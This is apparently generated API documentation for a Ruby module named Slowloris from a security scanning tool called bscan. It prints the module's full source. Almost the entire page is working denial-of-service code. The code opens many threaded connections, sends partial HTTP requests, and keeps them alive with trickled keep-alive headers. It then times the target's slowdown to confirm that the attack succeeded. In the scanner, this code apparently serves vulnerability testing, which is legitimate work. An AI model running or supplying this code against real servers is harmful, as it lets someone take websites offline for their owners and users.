Module: Slowloris

Defined in:
lib/bscan/modules/slowloris.rb

Instance Method Summary collapse

Instance Method Details

#close_all ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 160

def close_all
  @threadinfo.each_pair do |k,v|
    v.each_key do |i|
      begin
        v[i].close if v[i]
        update_info k,i,nil
      rescue
      end  
    end  
  end
end

#get_normal_response_time(host, port, req, proto, t) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 221

def get_normal_response_time host,port,req,proto,t
  @threadinfo[t] ||= {}
  rsp = ''
  start = Time.now
  @bscan.activity[0]=true
  req = random_url req
  begin
    send_slow host,port,req,proto,t,0
    s = @threadinfo[t][0]
    if !s 
      raise "read failed for: #{req}"
    end
    rsp = read_response s
  rescue Exception => e
      @bscan.Log 1, "#{@mid}get_normal_response_time Exception : #{e.message}"
  end  
  begin
    s.close
  rescue
  end  
  update_info t,0,nil
  [rsp,Time.now - start]
end

#make_conns(nbr, host, port, req, proto, t) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 172

def make_conns nbr,host,port,req,proto,t
  @bscan.Log 2, "#{@mid}make_conns: #{t}  #{nbr}"
  nbr.times do |con| 
    @bscan.Log 2, "#{@mid}make_conns connection: #{t}  #{con}"
    send_slow host,port,req,proto,t,con
  end 
end

#random_url(req) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 217

def random_url req
  req.sub /^(POST|GET)\s+\/@@@/, "\\1 /#{'u'+rand(1000000).to_s}"
end

#read_response(s) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 245

def read_response s
    rsp=''
    while (ch=s.sysread(1))
      rsp += ch
      if rsp =~ /Content-Length\s*:\s*(\d+)\r?\n$/i
        len = $1.to_i
        while (c=s.sysread(1))
          rsp += c
          if rsp[-4..-1] == "\r\n\r\n" || rsp[-2..-1] == "\n\n"
            rsp += s.sysread(len)
            break
          end  
        end
        break  
      end
    end
    rsp
end

#run(*args) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 8

def run *args
  @bscan = args[0]
  @config ||= @bscan.bscan_config
  @bscan.activity[0]=true

  @prop_pref = 'bscan.slowloris.'
  @prop_pref += args[2] + '.' if args[2] && args[2].length > 0
  @mid = args[2]?"Slowloris.#{args[2]}.":'Slowloris.' 
  begin
    proto = @config[prop('protocol')]
    proto ||= 'http'
    
    threads = @config[prop('threads')]
    threads ||= '20'
    threads = threads.to_i

    rtf = @config[prop('response_time_factor')]
    rtf ||= '5'
    rtf = rtf.to_i
    slt = @config[prop('sleep_time')]
    slt ||= '100'
    slt = slt.to_i
    cn = @config[prop('con_nbr_per_thread')]
    cn ||= 50
    cn = cn.to_i
    ppc = @config[prop('pack_per_con')]
    ppc ||= 5
    ppc = ppc.to_i
    
    http_method = @config[prop('method')]
    http_method ||= 'GET'

   req = @config[prop('request')]
    nreq = nil
    if req
      file = open_in_path(req)
      r = file.read
      req.gsub!(/\^M\n/,"\r\n")
      file.close
      nreq = req
    else
      host = @config[prop('hostport')]
      host,port = host.split(':') if host
      raise "Either 'host' and 'port' or 'request' params must be set" if !host or !port
      req = "#{http_method} /@@@ HTTP/1.1\r\n" +
              "Host: #{host}:#{port}\r\n" +
              "User-Agent: Mozilla/5.0 (X11; Linux i686; rv:14.0) Gecko/20100101 Firefox/14.0.1"
      if http_method == 'POST'
        req += "\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 7\r\n"
        nreq = req + "\r\nfoo=moo"
      else 
        nreq = req + "\r\n\r\n"
      end
    end
 

    @bscan.Log 2, "#{@mid}run input: #{threads} #{cn} #{ppc} #{rtf} #{slt} #{host} #{port}\n#{req}"
#      rsp,nrt = get_normal_response_time nreq,proto
    @threadinfo = {}
    trg,host,port = get_url_host_port req,proto
     
    @infom ||= Mutex.new
    
    rsp,nrt = get_normal_response_time(host, port, nreq, proto, threads)
    @bscan.Log 2, "#{@mid}run normal rt: #{nrt} \n#{rsp}"
 
     # Monitoring thread
    Thread.new do
        maxtime=0
        while (true)
          begin 
            dl = slt/10
            sleep dl < 10 ? 10 : dl  
            rsp,rt = get_normal_response_time(host, port, nreq, proto, threads)
            @bscan.Log 2, "#{@mid}run monitor rt: #{rt}\n#{rsp}"
            maxtime = rt if rt > nrt*rtf && rt > maxtime     
            ex = true
            tnum = 0
            cnum = 0
            @threadinfo.each_pair do  |t,c|
              inc_t = false
              c.each_key do |k|
                if c[k]
                  cnum += 1 
                  inc_t = true
                  ex = false
                end
              end
              tnum += 1 if inc_t
            end
            @bscan.Log 2, "#{@mid}run monitor t/c : #{tnum}/#{cnum}, will sleep #{slt/4} sec"
            break if ex
          rescue Exception => e
             @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
             @bscan.Log 1, e.backtrace.join("\n")
          end
        end
        @bscan.Log 1, "#{@mid}run exiting monitor: #{maxtime}"
        if maxtime > 0
          issue = Issue.new "#{@mid.chop}: Slowloris succeeded", trg, "Medium", "Firm", req, rsp, 
          "Response time under atack was #{maxtime}, which is #{maxtime/nrt} times bigger than normal response time: #{nrt}"
          @bscan.write_issue_state issue
        end  
    end

 
 
 
 
    threads.times do |t|

        @infom.lock
        @threadinfo[t] = {}
        @infom.unlock
        
        for con in 0..cn-1
          @infom.lock
          @threadinfo[t][con]=nil if not @threadinfo[t][con] # need to add keys if they are not there yet
          @infom.unlock
        end

        Thread.new do
          begin
            @bscan.Log 2, "#{@mid}run thread: #{t} #{cn}"
            make_conns cn,host,port,req,proto,t
            for pcnt in 0..ppc-1 
                  @bscan.Log 2, "#{@mid}run after sleep: #{t} #{cn}"
                  for con in 0..cn-1
                    send_more host,port,proto,t,con
                  end
                  sleep slt
            end
          raise Exception => e
             @bscan.Log 1, "#{@mid}run Exception: #{e.message}"
             @bscan.Log 1, e.backtrace.join("\n")
             Thread.current.exit
          end
        end
    end
    close_all
    
  
  rescue Exception => e
    @bscan.Log 0, "#{@mid}run Exception: #{e.message}"
    @bscan.Log 0, e.backtrace.join("\n")
  end
end

#send_more(host, port, proto, t, con) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 180

def send_more host,port,proto,t,con
  send_slow host,port,"Connection: Keep-Alive\r\n",proto,t,con,false
end

#send_slow(host, port, req, proto, t, con, reopen = true) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 184

def send_slow host,port,req,proto,t,con,reopen=true
 @bscan.activity[0]=true
 begin
    s = @threadinfo[t][con]
    rndr = random_url(req)

    if !s || s.closed? || s.syswrite(rndr) != rndr.length
      s.close if s && !s.closed?
      raise "can't send more, connection closed  #{host} #{port} #{t} #{con}" if not reopen
        
      @bscan.Log 2, "#{@mid}send_slow new socket #{host} #{port} #{t} #{con}"
      s = TCPSocket.new(host, port)
      if (proto =~ /https/i)
        ctx = OpenSSL::SSL::SSLContext.new
        ctx.verify_mode = OpenSSL::SSL::VERIFY_NONE 
        s = OpenSSL::SSL::SSLSocket.new(s, ctx)
        s.connect
      end
      update_info t,con,s
    end
    s.syswrite(rndr)
    @bscan.Log 2, "#{@mid}send_slow succeeded for  #{t} #{con} #{rndr}"
    @bscan.Log 2, "#{@mid}send_slow send_more #{t} #{con}" if !reopen
  rescue Exception => e
    @bscan.Log 1, "#{@mid}send_slow failed for #{t} #{con}: #{e.message}"
    begin
      s.close
    rescue
    end  
    update_info t,con,nil
  end
end

#update_info(t, con, val) ⇒ Object 



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# File 'lib/bscan/modules/slowloris.rb', line 155

def update_info t,con,val
  @infom.lock
  @threadinfo[t][con] = val if @threadinfo[t]
  @infom.unlock
end